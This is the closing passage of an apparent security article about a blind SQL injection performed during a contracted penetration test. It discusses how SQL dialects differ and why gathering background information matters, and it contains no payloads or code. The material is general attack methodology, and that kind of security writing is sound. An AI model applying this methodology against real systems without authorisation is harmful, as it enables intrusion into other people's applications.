Note that not all databases are configured the same way, and not all even support the same dialect of SQL (the "S" stands for "Structured", not "Standard"). For instance, most versions of MySQL do not support subselects, nor do they usually allow multiple statements: these are substantially complicating factors when attempting to penetrate a network.

We'd like to emphasize that though we chose the "Forgotten password" link to attack in this particular case, it wasn't really because this particular web application feature is dangerous. It was simply one of several available features that might have been vulnerable, and it would be a mistake to focus on the "Forgotten password" aspect of the presentation.
This Tech Tip has not been intended to provide comprehensive coverage on SQL injection, or even a tutorial: it merely documents the process that evolved over several hours during a contracted engagement. We've seen other papers on SQL injection discuss the technical background, but still only provide the "money shot" that ultimately gained them access.
But that final statement required background knowledge to pull off, and the process of gathering that information has merit too. One doesn't always have access to source code for an application, and the ability to attack a custom application blindly has some value.